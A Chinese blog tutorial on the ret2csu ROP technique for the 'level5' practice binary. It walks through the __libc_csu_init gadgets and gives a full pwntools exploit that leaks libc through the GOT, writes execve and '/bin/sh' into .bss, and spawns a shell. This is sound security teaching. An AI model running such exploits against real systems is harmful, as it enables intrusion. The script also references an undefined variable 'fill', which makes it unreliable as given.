其他分享
首页 > 其他分享> > 从零开始的pwn学习之ret2csu

从零开始的pwn学习之ret2csu

作者:互联网

ret2csu

前置知识

X64寄存器

我们知道,64位寄存器有RAX,RBX,RCX,RDX,RDI,RSI,RBP,RSP,R8,R9,R10,R11,R12,R13,R14,R15,而rdi,rsi,rdx,rcx,r8,r9便用来传递函数的前六个参数,如多于六个,便在放到栈里。

__libc_csu_init

一般的程序都会调用libc中的函数,而此函数便是来将libc初始化的,故此函数几乎是每一个程序所必备的。

gadget

我们在构造ROP链的时候,往往会用到能够给寄存器赋值的gadget,形如pop|ret。而有意思的是,__libc_csu_init函数内毫无疑问也存在这样的gadget,我们称之为通用gadget,于是一种利用该通用gadget来构造ROP的方法便诞生了,名为ret2csu

汇编风格

AT&T风格 Intel风格
寄存器前加% 寄存器无需另加符号
立即数前加$ 立即数无需另加符号
16进制立即数使用0x前缀 16进制的立即数使用h后缀
源操作数在前,目的操作数在后(从前往后读) 目的操作数在前,源操作数在后(从后往前读)
间接寻址使用小括号() 间接寻址使用中括号[]
间接寻址完整格式:%sreg:disp(%base,index,scale) 间接寻址完整格式:sreg:[basereg + index*scale + disp]
操作位数:指令+l、w、b 指令+ dword ptr、word ptr、byte ptr

ret2csu

用的题目是蒸米的ROP_STEP_BY_STEP中的level5

题目获取

git clone https://github.com/zhengmin1989/ROP_STEP_BY_STEP.git

此时,我们用ida查看__libc_csu_init函数

.text:00000000004005A0 ; =============== S U B R O U T I N E =======================================
.text:00000000004005A0
.text:00000000004005A0
.text:00000000004005A0 ; void _libc_csu_init(void)
.text:00000000004005A0                 public __libc_csu_init
.text:00000000004005A0 __libc_csu_init proc near               ; DATA XREF: _start+16↑o
.text:00000000004005A0
.text:00000000004005A0 var_30          = qword ptr -30h
.text:00000000004005A0 var_28          = qword ptr -28h
.text:00000000004005A0 var_20          = qword ptr -20h
.text:00000000004005A0 var_18          = qword ptr -18h
.text:00000000004005A0 var_10          = qword ptr -10h
.text:00000000004005A0 var_8           = qword ptr -8
.text:00000000004005A0
.text:00000000004005A0 ; __unwind {
.text:00000000004005A0                 mov     [rsp+var_28], rbp
.text:00000000004005A5                 mov     [rsp+var_20], r12
.text:00000000004005AA                 lea     rbp, cs:600E24h
.text:00000000004005B1                 lea     r12, cs:600E24h
.text:00000000004005B8                 mov     [rsp+var_18], r13
.text:00000000004005BD                 mov     [rsp+var_10], r14
.text:00000000004005C2                 mov     [rsp+var_8], r15
.text:00000000004005C7                 mov     [rsp+var_30], rbx
.text:00000000004005CC                 sub     rsp, 38h
.text:00000000004005D0                 sub     rbp, r12
.text:00000000004005D3                 mov     r13d, edi
.text:00000000004005D6                 mov     r14, rsi
.text:00000000004005D9                 sar     rbp, 3
.text:00000000004005DD                 mov     r15, rdx
.text:00000000004005E0                 call    _init_proc
.text:00000000004005E5                 test    rbp, rbp
.text:00000000004005E8                 jz      short loc_400606
.text:00000000004005EA                 xor     ebx, ebx
.text:00000000004005EC                 nop     dword ptr [rax+00h]
.text:00000000004005F0
.text:00000000004005F0 loc_4005F0:                             ; CODE XREF: __libc_csu_init+64↓j
.text:00000000004005F0                 mov     rdx, r15
.text:00000000004005F3                 mov     rsi, r14
.text:00000000004005F6                 mov     edi, r13d
.text:00000000004005F9                 call    qword ptr [r12+rbx*8]
.text:00000000004005FD                 add     rbx, 1
.text:0000000000400601                 cmp     rbx, rbp
.text:0000000000400604                 jnz     short loc_4005F0
.text:0000000000400606
.text:0000000000400606 loc_400606:                             ; CODE XREF: __libc_csu_init+48↑j
.text:0000000000400606                 mov     rbx, [rsp+38h+var_30]
.text:000000000040060B                 mov     rbp, [rsp+38h+var_28]
.text:0000000000400610                 mov     r12, [rsp+38h+var_20]
.text:0000000000400615                 mov     r13, [rsp+38h+var_18]
.text:000000000040061A                 mov     r14, [rsp+38h+var_10]
.text:000000000040061F                 mov     r15, [rsp+38h+var_8]
.text:0000000000400624                 add     rsp, 38h
.text:0000000000400628                 retn
.text:0000000000400628 ; } // starts at 4005A0
.text:0000000000400628 __libc_csu_init endp
.text:0000000000400628
.text:0000000000400628 ; ---------------------------------------------------------------------------

首先我们看这里

.text:0000000000400606 loc_400606:                             ; CODE XREF: __libc_csu_init+48↑j
.text:0000000000400606                 mov     rbx, [rsp+38h+var_30]
.text:000000000040060B                 mov     rbp, [rsp+38h+var_28]
.text:0000000000400610                 mov     r12, [rsp+38h+var_20]
.text:0000000000400615                 mov     r13, [rsp+38h+var_18]
.text:000000000040061A                 mov     r14, [rsp+38h+var_10]
.text:000000000040061F                 mov     r15, [rsp+38h+var_8]
.text:0000000000400624                 add     rsp, 38h
.text:0000000000400628                 retn     

我们可以用栈溢出来给rbx、rbp、r12、r13、r14、r15写上我们所需要的数据,再用ret返回我们所希望的地址。

注意这里因为时sp指针偏移实现的,所以我们要知道var_30等具体为多少,这决定了我们要在rsp+38h+var_30之前填充多少意义不明的数据。于是可以养成用objdump看汇编代码的好习惯,值得一提的是汇编有AT&T风格与Intel风格,而我们所熟悉的显然是更为常见的且规范的intel风格,于是,我们用objdump -M intel -d./level5查看后如下

  400606:       48 8b 5c 24 08          mov    rbx,QWORD PTR [rsp+0x8]
  40060b:       48 8b 6c 24 10          mov    rbp,QWORD PTR [rsp+0x10]
  400610:       4c 8b 64 24 18          mov    r12,QWORD PTR [rsp+0x18]
  400615:       4c 8b 6c 24 20          mov    r13,QWORD PTR [rsp+0x20]
  40061a:       4c 8b 74 24 28          mov    r14,QWORD PTR [rsp+0x28]
  40061f:       4c 8b 7c 24 30          mov    r15,QWORD PTR [rsp+0x30]
  400624:       48 83 c4 38             add    rsp,0x38
  400628:       c3                      ret    

再看这里

.text:00000000004005F0 loc_4005F0:                             ; CODE XREF: __libc_csu_init+64↓j
.text:00000000004005F0                 mov     rdx, r15
.text:00000000004005F3                 mov     rsi, r14
.text:00000000004005F6                 mov     edi, r13d
.text:00000000004005F9                 call    qword ptr [r12+rbx*8]
.text:00000000004005FD                 add     rbx, 1
.text:0000000000400601                 cmp     rbx, rbp
.text:0000000000400604                 jnz     short loc_4005F0

可以将r15中的值赋给rdx,将r14中的值赋给rsi,将r13中的值赋给edi(rdi的低32位,高32位寄存器的值为0),虽然只能控制低32位,但也足以做很多事情了,这三个寄存器就是0x64函数调用中的前三个参数,如果需要用到含有三个参数的函数的时候,那么这一段gadget就即可以按我们所希望的控制全部参数,最后又一个call命令,call命令指向的地址为[r12+rbx*8],那么可以通过控制r12和rbx来跳到我们1所希望的地址

稍微了解过汇编的人都会知道

1若执行cmp指令后:ZF=1,则说明两个数相等,因为zero为1说明结果为0.

2JNZ =jump if not zero 运算结果不为零则转移

3ZF(Zero Flag)–零标志 若运算结果为零则ZF=1,否则ZF=0

4jump if not zero指的是运算结果为零(即ZF=1),而不是指ZF=0

于是我们知道当rbx和rbp 的之间的关系为 rbx+1 = rbp时,我们就不会执行 loc_4005F0,进而继续执行接下来的语句,因为call命令指向的地址与rbx有关,那么很显然我们将rbx的值设的越简单越好,于是使rbx=0,rbp=1.

三次payload

拥有以上知识后,我们将构造三次payload来实施我们的ret2csu

目的

第一次payload:获得write或puts在got表地址,用LibcSearcher识别libc版本,从而获得system地址

第二次payload:通过read函数把system和/bin/sh写入.bss段

在这里插入图片描述

第三次payload: 直接call到之前的.bss地址,执行system(“/bin/sh”)

实例level5

首先,先checksec一下

64位程序,开了NX

没啥可说的,直接上exp吧

from pwn import *
from LibcSearcher import *

elf = ELF('./level5')
sh = process('./level5')

write_got = elf.got['write'] 		#获取write函数的got地址
read_got = elf.got['read']				#获取read函数的got地址
main_addr = elf.symbols['main']  #获取main函数的函数地址
bss_base = elf.bss()							#获取bss段地址
p2 = 0x00000000004005F0 
#gadget2
p1 = 0x0000000000400606
#gadget1

def com_gadget(null, rbx, rbp, r12, r13, r14, r15, main):
  #null为0x8空缺
  #main为main函数地址
    payload = b'a' * 0x88 			#0x80+8个字节填满栈空间至ret返回指令
    payload += p64(p1) 
    payload += p64(fill) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
    payload += p64(p2)
    payload += b'a' * 56     #56个字节填充平衡堆栈造成的空缺
    payload += p64(main)
    sh.send(payload)    
    sleep(1)						#暂停等待接收

sh.recvuntil('Hello, World\n')
#利用write函数打印write函数地址并返回main函数
com_gadget(0,0, 1, write_got, 1, write_got, 8, main_addr)

write_addr = u64(sh.recv(8))    #接收write函数地址
libc = LibcSearcher('write', write_addr)	#查找libc版本
libc_base = write_addr - libc.dump('write') #计算该版本libc基地址
execve_addr = libc_base + libc.dump('execve') #查找该版本libc execve函数地址,亲测貌似system不行.png

sh.recvuntil('Hello, World\n')
#read函数布局,将execve函数地址和/bin/sh字符串写进bss段首地址
com_gadget(0,0, 1, read_got, 0, bss_base, 16, main_addr)
sh.send(p64(execve_addr) + b'/bin/sh\x00')#凑足十六位

sh.recvuntil('Hello, World\n')
#调用bss段中的execve('/bin/sh')
com_gadget(0,0, 1, bss_base, bss_base+8, 0, 0, main_addr)
sh.interactive()

参考文章

好好说话之ret2csu

Intermediate ROP

有错误希望师傅们指出.png

标签:ret2csu,libc,text,rbx,mov,var,从零开始,pwn,rsp
来源: https://blog.csdn.net/jzc020121/article/details/115561453